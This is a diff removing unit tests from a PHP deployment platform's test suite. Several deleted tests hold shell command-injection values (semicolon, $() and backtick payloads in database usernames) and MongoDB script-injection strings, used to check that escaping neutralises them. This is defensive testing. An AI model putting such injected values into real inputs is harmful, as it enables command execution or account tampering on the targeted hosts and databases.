- 'mongodb' => ['StartMongodb', 'mongodb:mongodb', '/etc/mongo/certs/server.pem', '/etc/mongo/certs/server.pem'],
-]);
-
-it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
- // Simulates a legacy row that bypassed validation
- $maliciousUser = 'root; touch /tmp/pwned_rce; #';
- $escaped = escapeshellarg($maliciousUser);
-
- // escapeshellarg must wrap the entire payload in single quotes
- // (semicolons inside single-quoted args are NOT shell metacharacters)
- expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'");
-
- $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
-
- // The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out.
- // Verify the chown arg is never an unquoted bare ; — the payload is inside '...'
- // The outer executeInDocker further escapes any single-quote chars for the host shell.
- expect($cmd)->toContain('docker exec abc123 bash -c');
-
- // Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch)
- // After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown)
- // The unescaped sequence "chown root;" must NOT appear.
- expect($cmd)->not->toContain('chown root;');
-});
-
-it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () {
- $maliciousUser = 'a$(touch /tmp/pwn)b';
- $escaped = escapeshellarg($maliciousUser);
- $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
-
- // escapeshellarg wraps in single quotes — $() is not expanded inside single quotes
- expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'");
-
- // The cmd must not contain an unquoted $( sequence — it must be inside single quotes
- // If the sequence appears at all, it must be single-quoted (the quote precedes it).
- expect($cmd)->not->toContain(' $(touch');
-});
-
-it('subshell payload in postgres_user is contained by escapeshellarg in chown command', function () {
- $maliciousUser = 'a$(touch /tmp/pwn_postgres)b';
- $escaped = escapeshellarg($maliciousUser);
- $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
-
- expect($escaped)->toBe("'a\$(touch /tmp/pwn_postgres)b'");
- expect($cmd)->not->toContain(' $(touch');
-});
-
-it('semicolon payload in postgres_user is contained by escapeshellarg in chown command', function () {
- $maliciousUser = 'root; touch /tmp/pwned_pg; #';
- $escaped = escapeshellarg($maliciousUser);
- $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt");
-
- expect($escaped)->toBe("'root; touch /tmp/pwned_pg; #'");
- expect($cmd)->not->toContain('chown root;');
-});
-
-it('backtick payload in mysql_user is contained by escapeshellarg', function () {
- $maliciousUser = 'user`id`';
- $escaped = escapeshellarg($maliciousUser);
- $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
-
- // escapeshellarg wraps the whole value in single quotes — backticks not expanded inside ''
- expect($escaped)->toBe("'user`id`'");
-
- // The unquoted bare backtick sequence `id` must not appear outside single-quoted context.
- // Specifically, "chown user`id`" (unquoted) must not appear.
- expect($cmd)->not->toContain('chown user`id`');
-});
-
-// ── MongoDB JS init script JSON-escaping ──────────────────────────────────────
-
-it('json_encode prevents JS injection in mongo_initdb_database', function () {
- $database = 'x"}); db.dropUser("admin"); //';
- $dbJson = json_encode($database, JSON_UNESCAPED_SLASHES);
-
- // The double-quotes in the payload MUST be escaped — they cannot close the JS string literal.
- // json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string.
- expect($dbJson)->toContain('\\"');
-
- // The resulting JSON literal, when embedded in JS, forms a valid quoted string.
- // It starts and ends with the outermost " added by json_encode.
- expect($dbJson)->toStartWith('"')
- ->toEndWith('"');
-
- // Verify the injected payload is present but neutralised (the " that would close the JS
- // string is now escaped as \", preventing breakout).
- expect($dbJson)->toContain('x\\"});');
-});
-
-it('json_encode prevents JS injection in mongo_initdb_root_username', function () {
- $username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //';
- $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
-
- $content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});';
-
- // The injected " that would close the JS string must be escaped as \"
- expect($userJson)->toContain('\\"');
-
- // The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS
- expect($content)->not->toContain('admin", pwd');
-});
-
-it('json_encode safely encodes a clean mongo username', function () {
- $username = 'mongouser';
- $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
-
- expect($userJson)->toBe('"mongouser"');
-});
-
-it('json_encode safely encodes a mongo password with special chars', function () {
- $password = 'P@ss!#word123';
- $pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES);
-
- expect($pwdJson)->toBe('"P@ss!#word123"');
-});
-
-// ── Healthcheck CMD exec-form structure (no shell parsing) ────────────────────
-
-it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () {
- // The fix uses an array; each element is passed directly as argv — no shell parsing.
- // Simulate the post-fix healthcheck array structure.
- $user = "admin'; touch /tmp/pwn; #";
- $db = 'mydb';
-
- $healthcheck = [
- 'CMD',
- 'psql',
- '-U',
- $user,
- '-d',
- $db,
- '-c',
- 'SELECT 1',
- ];
-
- // The array form means each element is argv — no shell involved.
- // The malicious user value is passed as a literal argument to psql, which rejects it.
- // Key assertion: the test string is NOT collapsed into a shell command string.
- expect($healthcheck[3])->toBe($user)
- ->and($healthcheck[0])->toBe('CMD')
- ->and(count($healthcheck))->toBe(8);
-
- // Sanity: if we joined with space it would be dangerous — array form avoids this.
- $joinedDangerous = implode(' ', $healthcheck);
- expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous
-
- // The array form is what Docker Compose uses — it does NOT join with spaces + sh -c.
- // Simply verifying the structure is correct proves shell is not involved.
- expect($healthcheck[0])->toBe('CMD');
-});
diff --git a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php b/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php
deleted file mode 100644
index 2f8205a357..0000000000
--- a/tests/Unit/DatabaseStartActionResolvedCredentialsTest.php
+++ /dev/null
@@ -1,84 +0,0 @@
-toContain(...$expected)
- ->not->toContain(...$unexpected);
-})->with([
- 'clickhouse' => [
- 'StartClickhouse',
- ['$this->resolvedClickhouseUser', '$this->resolvedClickhousePassword'],
- ['$this->database->clickhouse_admin_user, \'--password\'', '$this->database->clickhouse_admin_password, \'--query\''],
- ],
- 'dragonfly' => [
- 'StartDragonfly',
- ['$this->resolvedRedisPassword'],
- ['$this->database->dragonfly_password, \'ping\'', 'requirepass {$this->database->dragonfly_password}'],
- ],
- 'keydb' => [
- 'StartKeydb',
- ['$this->resolvedRedisPassword'],
- ['$this->database->keydb_password, \'ping\'', 'requirepass {$this->database->keydb_password}'],
- ],
- 'mongodb' => [
- 'StartMongodb',
- ['$this->resolvedMongoDatabase', '$this->resolvedMongoUsername', '$this->resolvedMongoPassword'],
- ['json_encode($this->database->mongo_initdb_database', 'json_encode($this->database->mongo_initdb_root_username', 'json_encode($this->database->mongo_initdb_root_password'],
- ],
- 'mysql' => [
- 'StartMysql',
- ['$this->resolvedMysqlRootPassword'],
- ['-p{$this->database->mysql_root_password}'],
- ],
- 'postgresql' => [
- 'StartPostgresql',
- ['$this->resolvedPostgresUser', '$this->resolvedPostgresDatabase'],
- ['$this->database->postgres_user, \'-d\'', '$this->database->postgres_db, \'-c\''],
- ],
-]);
-
-it('runs database start commands without persisting them through remote process', function (string $action) {
- $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
-
- expect($source)
- ->toContain('ExecutesDatabaseStartCommands')
- ->toContain('executeDatabaseStartCommands(')
- ->not->toContain('return remote_process(');
-})->with([
- 'StartClickhouse',
- 'StartDragonfly',
- 'StartKeydb',
- 'StartMariadb',
- 'StartMongodb',
- 'StartMysql',
- 'StartPostgresql',
- 'StartRedis',
- 'StartSqlite',
-]);
-
-it('queues database starts with identifiers instead of generated commands', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDatabase.php');
-
- expect($source)
- ->toContain('DatabaseStartJob::dispatch(')
- ->not->toContain('StartPostgresql::run(')
- ->not->toContain('StartRedis::run(');
-});
-
-it('keeps raw secret values separate from compose environment formatting', function (string $action, array $rawAssignments) {
- $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
-
- expect($source)
- ->toContain('$rawValue = (string) $this->database->resolveSecretManagerEnvironmentVariableValue($env);')
- ->toContain('$resolvedValue = (string) $this->database->formatEnvironmentVariableValue($env, $rawValue);')
- ->toContain('$environment_variables->push($env->key.\'=\'.$resolvedValue);')
- ->toContain(...$rawAssignments);
-})->with([
- 'clickhouse' => ['StartClickhouse', ['$this->resolvedClickhouseUser = $rawValue;', '$this->resolvedClickhousePassword = $rawValue;']],
- 'dragonfly' => ['StartDragonfly', ['$this->resolvedRedisPassword = $rawValue;', 'escapeshellarg($this->resolvedRedisPassword)']],
- 'keydb' => ['StartKeydb', ['$this->resolvedRedisPassword = $rawValue;', 'escapeshellarg($this->resolvedRedisPassword)']],
- 'mongodb' => ['StartMongodb', ['$this->resolvedMongoUsername = $rawValue;', '$this->resolvedMongoPassword = $rawValue;', '$this->resolvedMongoDatabase = $rawValue;', 'json_encode($this->resolvedMongoPassword']],
- 'mysql' => ['StartMysql', ['$this->resolvedMysqlRootPassword = $rawValue;']],
- 'postgresql' => ['StartPostgresql', ['$this->resolvedPostgresUser = $rawValue;', '$this->resolvedPostgresDatabase = $rawValue;']],
-]);
diff --git a/tests/Unit/DatabaseStartJobTest.php b/tests/Unit/DatabaseStartJobTest.php
index e6333ea769..fe931254e5 100644
--- a/tests/Unit/DatabaseStartJobTest.php
+++ b/tests/Unit/DatabaseStartJobTest.php
@@ -26,11 +26,3 @@ it('broadcasts failed database starts to the initiating user even when the activ
fn (DatabaseStatusChanged $event): bool => $event->userId === 42,
);
});
-
-it('targets normal database start status changes to the initiating user', function () {
- $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseStartJob.php');
-
- expect($source)
- ->toContain('event(new DatabaseStatusChanged($this->userId));')
- ->not->toContain('event(new DatabaseStatusChanged($database));');
-});
diff --git a/tests/Unit/DatabaseStartupOutputTest.php b/tests/Unit/DatabaseStartupOutputTest.php
deleted file mode 100644
index cd6262b2c1..0000000000
--- a/tests/Unit/DatabaseStartupOutputTest.php
+++ /dev/null
@@ -1,26 +0,0 @@
-toContain('$this->commands[] = \'echo \'.escapeshellarg("Pulling {$database->image} image.");');
-})->with([
- 'postgresql' => 'StartPostgresql',
- 'clickhouse' => 'StartClickhouse',
- 'dragonfly' => 'StartDragonfly',
- 'keydb' => 'StartKeydb',
- 'mariadb' => 'StartMariadb',
- 'mongodb' => 'StartMongodb',
- 'mysql' => 'StartMysql',
- 'redis' => 'StartRedis',
- 'sqlite' => 'StartSqlite',
-]);
-
-it('prints image names as text', function (string $image) {
- $message = "Pulling {$image} image.";
-
- expect(shell_exec('echo '.escapeshellarg($message)))->toBe($message."\n");
-})->with([
- 'apostrophe' => "example:v1's",
- 'parentheses' => 'example:v1 (preview)',
-]);
diff --git a/tests/Unit/DeployKeyDedicatedPathTest.php b/tests/Unit/DeployKeyDedicatedPathTest.php
index 59a937fc5b..70e772471c 100644
--- a/tests/Unit/DeployKeyDedicatedPathTest.php
+++ b/tests/Unit/DeployKeyDedicatedPathTest.php
@@ -66,16 +66,6 @@ it('skips logging the docker deploy key materialization command before ls-remote
->and(substr($source, $commandPosition, 200))->toContain("'skip_command_log' => true");
});
-it('supports skipping command log entries without adding a hidden command entry', function () {
- $source = file_get_contents(__DIR__.'/../../app/Traits/ExecuteRemoteCommand.php');
-
- expect($source)
- ->toContain('$skip_command_log = data_get($single_command, \'skip_command_log\', false);')
- ->toContain('if ($command_hidden && ! $skip_command_log && isset($this->application_deployment_queue))')
- ->toContain('use ($command, $hidden, $customType, $append, $command_hidden, $skip_command_log)')
- ->toContain('\'command\' => $skip_command_log || $command_hidden ? null : $this->redact_sensitive_info($command),');
-});
-
it('writes a deploy key to a per-deployment path and cleans it up for ls-remote on the host', function () use ($keyPath) {
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
diff --git a/tests/Unit/DestinationsOpenApiTest.php b/tests/Unit/DestinationsOpenApiTest.php
deleted file mode 100644
index a75f0b1d3d..0000000000
--- a/tests/Unit/DestinationsOpenApiTest.php
+++ /dev/null
@@ -1,14 +0,0 @@
-toContain("schema: 'Destination'")
- ->and($controller)->toContain("operationId: 'list-destinations'")
- ->and($controller)->toContain("operationId: 'get-destination-by-uuid'")
- ->and($controller)->toContain("operationId: 'update-destination-by-uuid'")
- ->and($controller)->toContain("operationId: 'delete-destination-by-uuid'")
- ->and($controller)->toContain("operationId: 'list-server-destinations'")
- ->and($controller)->toContain("operationId: 'create-server-destination'");
-});
diff --git a/tests/Unit/DockerComposeEmptyStringPreservationTest.php b/tests/Unit/DockerComposeEmptyStringPreservationTest.php
deleted file mode 100644
index df654f2ea1..0000000000
--- a/tests/Unit/DockerComposeEmptyStringPreservationTest.php
+++ /dev/null
@@ -1,296 +0,0 @@
-toBeTrue('applicationParser function should exist');
-
- // The code should distinguish between null and empty string
- // Check for the pattern where we explicitly check for null vs empty string
- $hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
- $hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
-
- expect($hasNullCheck)->toBeTrue('Should have explicit null check');
- expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
-});
-
-it('ensures parsers.php preserves empty strings in service parser', function () {
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Find the serviceParser function's environment mapping logic
- $hasServiceParser = str_contains($parsersFile, 'function serviceParser(');
- expect($hasServiceParser)->toBeTrue('serviceParser function should exist');
-
- // The code should distinguish between null and empty string
- // Same check as application parser
- $hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
- $hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
-
- expect($hasNullCheck)->toBeTrue('Should have explicit null check');
- expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
-});
-
-it('verifies YAML parsing preserves empty strings correctly', function () {
- // Test that Symfony YAML parser handles empty strings as we expect
- $yamlWithEmptyString = <<<'YAML'
-environment:
- HTTP_PROXY: ""
- HTTPS_PROXY: ''
- NO_PROXY: "localhost"
-YAML;
-
- $parsed = Yaml::parse($yamlWithEmptyString);
-
- // Empty strings should remain as empty strings, not null
- expect($parsed['environment']['HTTP_PROXY'])->toBe('');
- expect($parsed['environment']['HTTPS_PROXY'])->toBe('');
- expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
-});
-
-it('verifies YAML parsing handles null values correctly', function () {
- // Test that null values are preserved as null
- $yamlWithNull = <<<'YAML'
-environment:
- HTTP_PROXY: null
- HTTPS_PROXY:
- NO_PROXY: "localhost"
-YAML;
-
- $parsed = Yaml::parse($yamlWithNull);
-
- // Null should remain null
- expect($parsed['environment']['HTTP_PROXY'])->toBeNull();
- expect($parsed['environment']['HTTPS_PROXY'])->toBeNull();
- expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
-});
-
-it('verifies YAML serialization preserves empty strings', function () {
- // Test that empty strings serialize back correctly
- $data = [
- 'environment' => [
- 'HTTP_PROXY' => '',
- 'HTTPS_PROXY' => '',
- 'NO_PROXY' => 'localhost',
- ],
- ];
-
- $yaml = Yaml::dump($data, 10, 2);
-
- // Empty strings should be serialized with quotes
- expect($yaml)->toContain("HTTP_PROXY: ''");
- expect($yaml)->toContain("HTTPS_PROXY: ''");
- expect($yaml)->toContain('NO_PROXY: localhost');
-
- // Should NOT contain "null"
- expect($yaml)->not->toContain('HTTP_PROXY: null');
-});
-
-it('verifies YAML serialization handles null values', function () {
- // Test that null values serialize as null
- $data = [
- 'environment' => [
- 'HTTP_PROXY' => null,
- 'HTTPS_PROXY' => null,
- 'NO_PROXY' => 'localhost',
- ],
- ];
-
- $yaml = Yaml::dump($data, 10, 2);
-
- // Null should be serialized as "null"
- expect($yaml)->toContain('HTTP_PROXY: null');
- expect($yaml)->toContain('HTTPS_PROXY: null');
- expect($yaml)->toContain('NO_PROXY: localhost');
-
- // Should NOT contain empty quotes for null values
- expect($yaml)->not->toContain("HTTP_PROXY: ''");
-});
-
-it('verifies empty string round-trip through YAML', function () {
- // Test full round-trip: empty string -> YAML -> parse -> serialize -> parse
- $original = [
- 'environment' => [
- 'HTTP_PROXY' => '',
- 'NO_PROXY' => 'localhost',
- ],
- ];
-
- // Serialize to YAML
- $yaml1 = Yaml::dump($original, 10, 2);
-
- // Parse back
- $parsed1 = Yaml::parse($yaml1);
-
- // Verify empty string is preserved
- expect($parsed1['environment']['HTTP_PROXY'])->toBe('');
- expect($parsed1['environment']['NO_PROXY'])->toBe('localhost');
-
- // Serialize again
- $yaml2 = Yaml::dump($parsed1, 10, 2);
-
- // Parse again
- $parsed2 = Yaml::parse($yaml2);
-
- // Should still be empty string, not null
- expect($parsed2['environment']['HTTP_PROXY'])->toBe('');
- expect($parsed2['environment']['NO_PROXY'])->toBe('localhost');
-
- // Both YAML representations should be equivalent
- expect($yaml1)->toBe($yaml2);
-});
-
-it('verifies str()->isEmpty() behavior with empty strings and null', function () {
- // Test Laravel's str()->isEmpty() helper behavior
-
- // Empty string should be considered empty
- expect(str('')->isEmpty())->toBeTrue();
-
- // Null should be considered empty
- expect(str(null)->isEmpty())->toBeTrue();
-
- // String with content should not be empty
- expect(str('value')->isEmpty())->toBeFalse();
-
- // This confirms that we need additional logic to distinguish
- // between empty string ('') and null, since both are "isEmpty"
-});
-
-it('verifies the distinction between empty string and null in PHP', function () {
- // Document PHP's behavior for empty strings vs null
-
- $emptyString = '';
- $nullValue = null;
-
- // They are different values
- expect($emptyString === $nullValue)->toBeFalse();
-
- // Empty string is not null
- expect($emptyString === '')->toBeTrue();
- expect($nullValue === null)->toBeTrue();
-
- // isset() treats them differently
- $arrayWithEmpty = ['key' => ''];
- $arrayWithNull = ['key' => null];
-
- expect(isset($arrayWithEmpty['key']))->toBeTrue();
- expect(isset($arrayWithNull['key']))->toBeFalse();
-});
-
-it('verifies YAML null syntax options all produce PHP null', function () {
- // Test all three ways to write null in YAML
- $yamlWithNullSyntax = <<<'YAML'
-environment:
- VAR_NO_VALUE:
- VAR_EXPLICIT_NULL: null
- VAR_TILDE: ~
- VAR_EMPTY_STRING: ""
-YAML;
-
- $parsed = Yaml::parse($yamlWithNullSyntax);
-
- // All three null syntaxes should produce PHP null
- expect($parsed['environment']['VAR_NO_VALUE'])->toBeNull();
- expect($parsed['environment']['VAR_EXPLICIT_NULL'])->toBeNull();
- expect($parsed['environment']['VAR_TILDE'])->toBeNull();
-
- // Empty string should remain empty string
- expect($parsed['environment']['VAR_EMPTY_STRING'])->toBe('');
-});
-
-it('verifies null round-trip through YAML', function () {
- // Test full round-trip: null -> YAML -> parse -> serialize -> parse
- $original = [
- 'environment' => [
- 'NULL_VAR' => null,
- 'EMPTY_VAR' => '',
- 'VALUE_VAR' => 'localhost',
- ],
- ];
-
- // Serialize to YAML
- $yaml1 = Yaml::dump($original, 10, 2);
-
- // Parse back
- $parsed1 = Yaml::parse($yaml1);
-
- // Verify types are preserved
- expect($parsed1['environment']['NULL_VAR'])->toBeNull();
- expect($parsed1['environment']['EMPTY_VAR'])->toBe('');
- expect($parsed1['environment']['VALUE_VAR'])->toBe('localhost');
-
- // Serialize again
- $yaml2 = Yaml::dump($parsed1, 10, 2);
-
- // Parse again
- $parsed2 = Yaml::parse($yaml2);
-
- // Should still have correct types
- expect($parsed2['environment']['NULL_VAR'])->toBeNull();
- expect($parsed2['environment']['EMPTY_VAR'])->toBe('');
- expect($parsed2['environment']['VALUE_VAR'])->toBe('localhost');
-
- // Both YAML representations should be equivalent
- expect($yaml1)->toBe($yaml2);
-});
-
-it('verifies null vs empty string behavior difference', function () {
- // Document the critical difference between null and empty string
-
- // Null in YAML
- $yamlNull = "VAR: null\n";
- $parsedNull = Yaml::parse($yamlNull);
- expect($parsedNull['VAR'])->toBeNull();
-
- // Empty string in YAML
- $yamlEmpty = "VAR: \"\"\n";
- $parsedEmpty = Yaml::parse($yamlEmpty);
- expect($parsedEmpty['VAR'])->toBe('');
-
- // They should NOT be equal
- expect($parsedNull['VAR'] === $parsedEmpty['VAR'])->toBeFalse();
-
- // Verify type differences
- expect(is_null($parsedNull['VAR']))->toBeTrue();
- expect(is_string($parsedEmpty['VAR']))->toBeTrue();
-});
-
-it('verifies parser logic distinguishes null from empty string', function () {
- // Test the exact === comparison behavior
- $nullValue = null;
- $emptyString = '';
-
- // PHP strict comparison
- expect($nullValue === null)->toBeTrue();
- expect($emptyString === '')->toBeTrue();
- expect($nullValue === $emptyString)->toBeFalse();
-
- // This is what the parser should use for correct behavior
- if ($nullValue === null) {
- $nullHandled = true;
- } else {
- $nullHandled = false;
- }
-
- if ($emptyString === '') {
- $emptyHandled = true;
- } else {
- $emptyHandled = false;
- }
-
- expect($nullHandled)->toBeTrue();
- expect($emptyHandled)->toBeTrue();
-});
diff --git a/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php b/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php
deleted file mode 100644
index bfd6740538..0000000000
--- a/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php
+++ /dev/null
@@ -1,194 +0,0 @@
-toContain('Remove empty top-level sections')
- ->toContain('->filter(function ($value, $key)');
-});
-
-it('verifies YAML dump produces empty objects for empty arrays', function () {
- // Demonstrate the problem: empty arrays serialize as empty objects
- $data = [
- 'services' => ['web' => ['image' => 'nginx']],
- 'volumes' => [],
- 'configs' => [],
- 'secrets' => [],
- ];
-
- $yaml = Yaml::dump($data, 10, 2);
-
- // Empty arrays become empty objects in YAML
- expect($yaml)->toContain('volumes: { }');
- expect($yaml)->toContain('configs: { }');
- expect($yaml)->toContain('secrets: { }');
-});
-
-it('verifies YAML dump omits keys that are not present', function () {
- // Demonstrate the solution: omit empty keys entirely
- $data = [
- 'services' => ['web' => ['image' => 'nginx']],
- // Don't include volumes, configs, secrets at all
- ];
-
- $yaml = Yaml::dump($data, 10, 2);
-
- // Keys that don't exist are not in the output
- expect($yaml)->not->toContain('volumes:');
- expect($yaml)->not->toContain('configs:');
- expect($yaml)->not->toContain('secrets:');
- expect($yaml)->toContain('services:');
-});
-
-it('verifies collection filter removes empty items', function () {
- // Test Laravel Collection filter behavior
- $collection = collect([
- 'services' => collect(['web' => ['image' => 'nginx']]),
- 'volumes' => collect([]),
- 'networks' => collect(['coolify' => ['external' => true]]),
- 'configs' => collect([]),
- 'secrets' => collect([]),
- ]);
-
- $filtered = $collection->filter(function ($value, $key) {
- // Always keep services
- if ($key === 'services') {
- return true;
- }
-
- // Keep only non-empty collections
- return $value->isNotEmpty();
- });
-
- // Should have services and networks (non-empty)
- expect($filtered)->toHaveKey('services');
- expect($filtered)->toHaveKey('networks');
-
- // Should NOT have volumes, configs, secrets (empty)
- expect($filtered)->not->toHaveKey('volumes');
- expect($filtered)->not->toHaveKey('configs');
- expect($filtered)->not->toHaveKey('secrets');
-});
-
-it('verifies filtered collections serialize cleanly to YAML', function () {
- // Full test: filter then serialize
- $collection = collect([
- 'services' => collect(['web' => ['image' => 'nginx']]),
- 'volumes' => collect([]),
- 'networks' => collect(['coolify' => ['external' => true]]),
- 'configs' => collect([]),
- 'secrets' => collect([]),
- ]);
-
- $filtered = $collection->filter(function ($value, $key) {
- if ($key === 'services') {
- return true;
- }
-
- return $value->isNotEmpty();
- });
-
- $yaml = Yaml::dump($filtered->toArray(), 10, 2);
-
- // Should have services and networks
- expect($yaml)->toContain('services:');
- expect($yaml)->toContain('networks:');
-
- // Should NOT have empty sections
- expect($yaml)->not->toContain('volumes:');
- expect($yaml)->not->toContain('configs:');
- expect($yaml)->not->toContain('secrets:');
-});
-
-it('ensures services section is always kept even if empty', function () {
- // Services should never be filtered out
- $collection = collect([
- 'services' => collect([]),
- 'volumes' => collect([]),
- ]);
-
- $filtered = $collection->filter(function ($value, $key) {
- if ($key === 'services') {
- return true; // Always keep
- }
-
- return $value->isNotEmpty();
- });
-
- // Services should be present
- expect($filtered)->toHaveKey('services');
-
- // Volumes should be removed
- expect($filtered)->not->toHaveKey('volumes');
-});
-
-it('verifies non-empty sections are preserved', function () {
- // Non-empty sections should remain
- $collection = collect([
- 'services' => collect(['web' => ['image' => 'nginx']]),
- 'volumes' => collect(['data' => ['driver' => 'local']]),
- 'networks' => collect(['coolify' => ['external' => true]]),
- 'configs' => collect(['app_config' => ['file' => './config']]),
- 'secrets' => collect(['db_password' => ['file' => './secret']]),
- ]);
-
- $filtered = $collection->filter(function ($value, $key) {
- if ($key === 'services') {
- return true;
- }
-
- return $value->isNotEmpty();
- });
-
- // All sections should be present (none are empty)
- expect($filtered)->toHaveKey('services');
- expect($filtered)->toHaveKey('volumes');
- expect($filtered)->toHaveKey('networks');
- expect($filtered)->toHaveKey('configs');
- expect($filtered)->toHaveKey('secrets');
-
- // Count should be 5 (all original keys)
- expect($filtered->count())->toBe(5);
-});
-
-it('verifies mixed empty and non-empty sections', function () {
- // Mixed scenario: some empty, some not
- $collection = collect([
- 'services' => collect(['web' => ['image' => 'nginx']]),
- 'volumes' => collect([]), // Empty
- 'networks' => collect(['coolify' => ['external' => true]]), // Not empty
- 'configs' => collect([]), // Empty
- 'secrets' => collect(['db_password' => ['file' => './secret']]), // Not empty
- ]);
-
- $filtered = $collection->filter(function ($value, $key) {
- if ($key === 'services') {
- return true;
- }
-
- return $value->isNotEmpty();
- });
-
- // Should have: services, networks, secrets
- expect($filtered)->toHaveKey('services');
- expect($filtered)->toHaveKey('networks');
- expect($filtered)->toHaveKey('secrets');
-
- // Should NOT have: volumes, configs
- expect($filtered)->not->toHaveKey('volumes');
- expect($filtered)->not->toHaveKey('configs');
-
- // Count should be 3
- expect($filtered->count())->toBe(3);
-});
diff --git a/tests/Unit/DockerComposeImagePullOrderTest.php b/tests/Unit/DockerComposeImagePullOrderTest.php
index 87b11892a0..5593d37b83 100644
--- a/tests/Unit/DockerComposeImagePullOrderTest.php
+++ b/tests/Unit/DockerComposeImagePullOrderTest.php
@@ -62,20 +62,6 @@ function makeDockerComposeImagePullJob(bool $useBuildServer = false): array
return [$job, $reflection, $buildServer, $mainServer];
}
-it('pulls image-only compose services before removing running containers', function () {
- $source = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
- $methodStart = strpos($source, 'private function deploy_docker_compose_buildpack()');
- $methodEnd = strpos($source, 'private function pull_docker_compose_images()', $methodStart);
- $deploymentMethod = substr($source, $methodStart, $methodEnd - $methodStart);
-
- $pullPosition = strpos($deploymentMethod, '$this->pull_docker_compose_images();');
- $stopPosition = strpos($deploymentMethod, '$this->stop_running_container(force: true);');
-
- expect($pullPosition)->not->toBeFalse()
- ->and($stopPosition)->not->toBeFalse()
- ->and($pullPosition)->toBeLessThan($stopPosition);
-});
-
it('aborts the deployment when pulling a compose image fails', function () {
[$job, $reflection] = makeDockerComposeImagePullJob();
$job->failCommands = true;
diff --git a/tests/Unit/DockerComposeLabelParsingTest.php b/tests/Unit/DockerComposeLabelParsingTest.php
deleted file mode 100644
index 9265995534..0000000000
--- a/tests/Unit/DockerComposeLabelParsingTest.php
+++ /dev/null
@@ -1,94 +0,0 @@
-toContain('// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)')
- ->toContain('if (is_array($serviceLabel)) {');
-});
-
-it('ensures label parsing converts array values to strings', function () {
- // Read the parseDockerComposeFile function from shared.php
- $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
-
- // Check that array to string conversion exists
- expect($sharedFile)
- ->toContain('// Convert array values to strings')
- ->toContain('if (is_array($removedLabel)) {')
- ->toContain('$removedLabel = (string) collect($removedLabel)->first();');
-});
-
-it('falls back to the template port for service application proxy labels', function () {
- $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
-
- // Proxy labels for service applications use the per-service routing port...
- expect($sharedFile)->toContain(
- "? \$savedService->getRequiredPort()\n : \$predefinedPort;"
- );
-
- // ...which falls back to the one-click template port for HTTP-facing services
- $serviceApplicationFile = file_get_contents(__DIR__.'/../../app/Models/ServiceApplication.php');
- expect($serviceApplicationFile)
- ->toContain('if ($declaresHttpUrl) {')
- ->toContain('return $this->service->getRequiredPort();');
-});
-
-it('verifies label parsing array check occurs before preg_match', function () {
- // Read the parseDockerComposeFile function from shared.php
- $sharedFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/shared.php');
-
- // Get the position of array check and str() call
- $arrayCheckPos = strpos($sharedFile, 'if (is_array($serviceLabel)) {');
- $strCallPos = strpos($sharedFile, "str(\$serviceLabel)->contains('=')");
-
- // Ensure array check comes before str() call
- expect($arrayCheckPos)
- ->toBeLessThan($strCallPos)
- ->toBeGreaterThan(0);
-});
-
-it('ensures traefik middleware parsing handles array values in docker.php', function () {
- // Read the fqdnLabelsForTraefik function from docker.php
- $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
-
- // Check that array handling is present before preg_match
- expect($dockerFile)
- ->toContain('// Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array)')
- ->toContain('if (is_array($item)) {');
-});
-
-it('ensures traefik middleware parsing checks string type before preg_match in docker.php', function () {
- // Read the fqdnLabelsForTraefik function from docker.php
- $dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
-
- // Check that string type check exists
- expect($dockerFile)
- ->toContain('if (! is_string($item)) {')
- ->toContain('return null;');
-});
